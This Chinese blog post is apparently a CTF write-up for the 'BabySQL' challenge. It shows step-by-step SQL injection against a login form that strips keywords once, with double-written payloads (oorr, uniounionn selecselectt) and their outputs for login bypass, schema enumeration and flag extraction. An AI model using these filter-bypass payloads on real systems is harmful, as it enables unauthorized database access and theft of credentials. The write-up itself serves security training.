当前位置:网站首页>[极客大挑战 2019]BabySQL 1
[极客大挑战 2019]BabySQL 1
2022-07-29 15:53:00 【B_secretary】
测试是否有单引号注入
用户名:1'
密码:password
回显:
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'passwd'' at line 1
通过回显我们可以发现password变成了passwd,所以后台应该对or有过滤
经过测试,select、union、and、from也被过滤掉了,但是堆叠注入还是可以使用
尝试绕过
鬼使神差地从密码栏输入:
passwoorrd
回显:
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'password'' at line 1
观察到or正常注入了,推测后台的过滤只针对or进行了一遍,我们写oorr即可绕过(把第2、3个字符过滤,剩下的仍然可以组成or)
输入:
1' oorr 1=1#
回显:
Hello admin!
Your password is '4dc104bbf01f06dcc64154125d9b14fa'
也就是说,id为1的用户名为admin,密码为我们得到的这一串字符
测试回显字段
输入:
1' uniounionn selecselectt 1,2,3#
远离仍然是让后台过滤掉中间的词从而绕过
回显:
Hello 2!
Your password is '3'
2、3字段是可以利用的
测试数据库
1' uniounionn selecselectt 1,2,database()#
回显:
Hello 2!
Your password is 'geek'
测试表
输入:
1' uniounionn selecselectt 1,2,group_concat(table_name) frofromm infoorrmation_schema.tables wherwheree table_schema=database()#
注意对:or、from、union、select、where的双写处理
回显:
Hello 2!
Your password is 'b4bsql,geekuser'
得到表名:b4bsql,geekuser
测试字段
1' uniounionn selecselectt 1,2,group_concat(column_name) frofromm infoorrmation_schema.columns wherwheree table_schema=database()#
回显:
Hello 2!
Your password is 'id,username,password,id,username,password'
不知道为啥出现了六个字段
对geekuser表:
1' uniounionn selecselectt 1,2,group_concat(column_name) frofromm infoorrmation_schema.columns wherwheree table_name='geekuser'#
对b4bsql表:
1' uniounionn selecselectt 1,2,group_concat(column_name) frofromm infoorrmation_schema.columns wherwheree table_name='b4bsql'#
回显均为:
Hello 2!
Your password is 'id,username,password'
这就解释了上面第一次的代码为什么回显了三次
‘id,username,password’
查表拿flag
1' uniounionn selecselectt 1,2,passwoorrd frofromm b4bsql#
回显:
Hello 2!
Your password is 'i_want_to_play_2077'
其实这里已经拿到flag了,只是后台限制了回显长度,下面是改进后的payload:
1' uniounionn selecselectt 1,2,group_concat(passwoorrd) frofromm b4bsql#
以后要注意这个问题
边栏推荐
- 面试官:设计原则有哪些?什么是里式替换原则?
- 数字赋能机械制造业,供应链协同管理系统解决方案助力企业供应链再升级
- CRM如何帮助企业营销获客
- ByteArrayOutputStream 类源码分析
- This article penetrates the architecture design and cluster construction of the distributed storage system Ceph (hands-on)
- 中芯国际:禁令后全力自救,设备等待期拉长,但没有客户“离开”
- 一文看懂分布式存储架构
- 地平线获得舜宇集团战略投资并与舜宇智领签署战略合作协议
- Win11 最新补丁更新破坏了任务栏中的“开始”菜单
- Floating point memory storage problem
猜你喜欢

MySQL数据库————数据库语言(DDL与DML)

官宣,又一上市公司杀入数据库市场

边缘计算如何与小程序结合?智能家居如何借势发展?

参与一个rk3399的一起学习班级

教程篇(7.0) 07. 诊断和故障排除 * FortiClient EMS * Fortinet 网络安全专家 NSE 5

CRM如何帮助企业营销获客

Talking about the memory layout of the program

Practice of Weibo Advertising Operation and Maintenance Technology Supporting Ten Billions of Requests

【微服务】 微服务学习笔记二:Eureka注册中心的介绍及搭建

#夏日挑战赛# HarmonyOS - 实现签名功能
随机推荐
双非渣渣的上岸之路!备战 60 天,三战滴滴侥幸收获 Offer
干货!如何使用仪表构造SRv6-TE性能测试环境
数字孪生万物可视 | 联接现实世界与数字空间
奇怪,为什么ArrayList初始化容量大小为10?
CAN报文:数据帧详解
微信公众号借助小程序云函数实现支付功能
教程篇(7.0) 07. 诊断和故障排除 * FortiClient EMS * Fortinet 网络安全专家 NSE 5
R语言中给数据框增加分组/根据样本名称添加分组的代码
打卡广汽本田喜悦安全驾驶中心,体验最刁钻的场地训练
ByteArrayOutputStream 类源码分析
溢价20%,瑞萨电子宣布拟以60亿美元收购Dialog
win10 校验sha256
显微镜LED补光可调光源
如何破坏单例?我说了好几种方式,面试官:没想到你真会
Mobileye展示与Intel合作开发的硅光子激光雷达芯片
6月阿里遭拒,90天深造357页微服务手册,获京东offer
驱动领域DDD的微服务设计和开发实战
Talking about the memory layout of the program
稳步向前不忘初心,沃尔沃的安全感来自公众的认可
【Go语言刷题篇】Go完结篇函数、结构体、接口、错误入门学习